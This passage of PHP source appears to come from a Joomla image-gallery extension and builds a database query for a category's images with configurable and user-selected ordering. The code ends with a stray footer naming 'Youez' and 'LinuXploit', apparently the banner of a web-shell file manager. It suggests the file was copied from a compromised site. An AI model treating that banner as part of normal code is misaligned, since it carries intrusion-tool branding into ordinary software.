      $query->select('('.$subquery.') AS comments');
    }
    $query->from(_JOOM_TABLE_IMAGES.' AS a')
          ->leftJoin(_JOOM_TABLE_CATEGORIES.' AS c ON c.cid = a.catid')
          ->where('a.published = 1')
          ->where('a.catid     = '.$this->_id)
          ->where('a.approved  = 1')
          ->where('a.hidden    = 0')
          ->where('a.access    IN ('.$authorisedViewLevels.')')
          ->where('c.access    IN ('.$authorisedViewLevels.')');
    if($this->_config->get('jg_firstorder'))
    {
      $query->order('a.'.$this->_config->get('jg_firstorder'));
    }
    if($this->_config->get('jg_secondorder'))
    {
      $query->order('a.'.$this->_config->get('jg_secondorder'));
    }
    if($this->_config->get('jg_thirdorder'))
    {
      $query->order('a.'.$this->_config->get('jg_thirdorder'));
    }
    if($this->_config->get('jg_usercatorder'))
    {
      $user_orderby   = $this->_mainframe->getUserStateFromRequest('joom.category.images.orderby', 'orderby');
      $user_orderdir  = $this->_mainframe->getUserStateFromRequest('joom.category.images.orderdir', 'orderdir');

      $orderby = '';
      switch($user_orderby)
      {
        case 'user':
          $orderby = 'a.owner';
          break;
        case 'date':
          $orderby = 'a.imgdate';
          break;
        case 'rating':
          $orderby = 'rating';
          break;
        case 'title':
          $orderby = 'a.imgtitle';
          break;
        case 'hits':
          $orderby = 'a.hits';
          break;
        default:
          // Use selected ordering above
          break;
      }
      if(    $user_orderby == 'title'
          || $user_orderby == 'hits'
          || $user_orderby == 'user'
          || $user_orderby == 'date'
          || $user_orderby == 'rating'
        )
      {
        if($user_orderdir == 'desc')
        {
          $orderby .= ' DESC';
        }
        else
        {
          if($user_orderdir == 'asc')
          {
            $orderby .= ' ASC';
          }
        }
      }
      if($user_orderby == 'rating')
      {
          $orderby .= ', imgvotesum DESC';
      }

      if(!empty($orderby))
      {
        $query->clear('order');
        $query->order($orderby);
      }
    }

    return $query;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit